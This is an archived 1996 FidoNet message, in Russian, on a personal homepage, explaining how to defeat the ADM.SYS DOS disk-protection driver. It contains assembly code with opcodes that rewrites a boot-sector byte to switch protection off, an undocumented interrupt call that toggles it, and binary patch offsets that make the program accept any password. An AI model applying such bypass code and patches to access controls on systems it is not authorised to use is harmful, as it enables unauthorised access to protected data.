DiBR
обычная кошмарная
домашняя страничка
Ежекакполучится околокомпьютерное обозрение
 
  <<<  предыдущий Tech! archive #4 следующий  >>>  
   Последний выпуск       Архив       Ссылки       Полезности       humor.filtered       Фотки       О сайте   
          Это - достаточно беспорядочный архив сообщений конференций сети fidonet, которые на момент их прочтения мной показались полезными или интересными. Многие устарели, многие узкоспецифичны и малоинтересны, но может оказаться и что-то новое...
         
- __techs (2:5015/42) ----------------------------------------------- __techs -
Msg  : 4 of 1000                           Scn
From : Peter Sobolev                       2:5030/84       24 Apr 96  07:36:00
To   : Oleg Bezverhiy                                      28 Apr 96  04:27:04
Subj : ADM.SYS
-------------------------------------------------------------------------------
@AREA:RU.HACKER
Hello Oleg!

21 Apr 96 21:34, Oleg Bezverhiy wrote to All:

OB>      Kaким способом можно снять зaщиту с дисков
OB>      (в config'е первым зaгружaеться adm.sys)

===========================================================================

3.Как получить доступ к информации (r/w) на диске защищенным ADM?
-------------------------------------------------------------------------

Если речь о старом ADM, который работал еще в PCDOS/MSDOS 3.30,
то там для снятия защиты надо было загрузиться с дискеты и поменять
497-й байт в начальном блоке HDD (1 - защищено, 0 - открыто).
Затем можно было грузиться с HDD и использовать все диски.
Желающие могли также зайти в супервизор и ознакомиться с паролями.
Короче, этот байт определял режим security on/off.

Для тех, кому лень каждый раз редактировать в NU (был такой предок
нынешнего Diskedit в утилитах Hортона версий 3.0-4.0-4.5), у нас
ходили два файла OFF.COM и ON.COM длиной по 43 байта.

Автор этого кода - Игорь Постников 5030/270.14 aka 5030/173.27
mov ax,201h           ; B8 01 02
mov dx,80h            ; BA 80 00
mov cx,2              ; B9 02 00
lea bx,buf            ; 8D 1E 2B 01
int 13h               ; CD 13
lea bx,buf            ; 8D 1E 2B 01
add bx,497            ; 81 C3 F1 01
mov byte ptr [bx],0   ; C6 07 00   - это и есть байт 0/1
mov ax,301h           ; B8 01 03
mov dx,80h            ; BA 80 00
mov cx,2              ; B9 02 00
lea bx,buf            ; 8D 1E 2B 01
int 13h               ; CD 13
int 20h               ; CD 20
buf:

*A2:

У ADM есть собственный интеpфейс отключения защиты HА ЛЕТУ.

     mov     di,0FFFFh
     mov     dx,di
     mov     ah,10h
     int     13h

Указанный фpагмент pаботает как тpиггеp -
пеpвый pаз отключает защиту, втоpой pаз подключает.
Всем желающим pаздам мылом пpогу, где это все "окультуpено"

*A3:

Патчишь adm.sys ver 1.00 по смещению

0af7h: 75h -> 0ebh
0af8h: 14h -> 0ah

adm.exe ver 1.01 по смещению

05bah: 75h -> 0ebh
05bbh: 13h -> 0ah и будет пропускаться любой пароль

или запиши в абсолютный сектор 2 (cylinder 0, head 0) по смещению
01f1h нолик - защита отключится

===============================================================================
CodeRipper

--- DiskEdit 7.02 under OS/2 v2.2
* Origin: N-HLC-NP.DidroC.N-c.Ap20.Ane.N-aubrbqm. (2:5030/84)






<<<

архив dibr

>>>'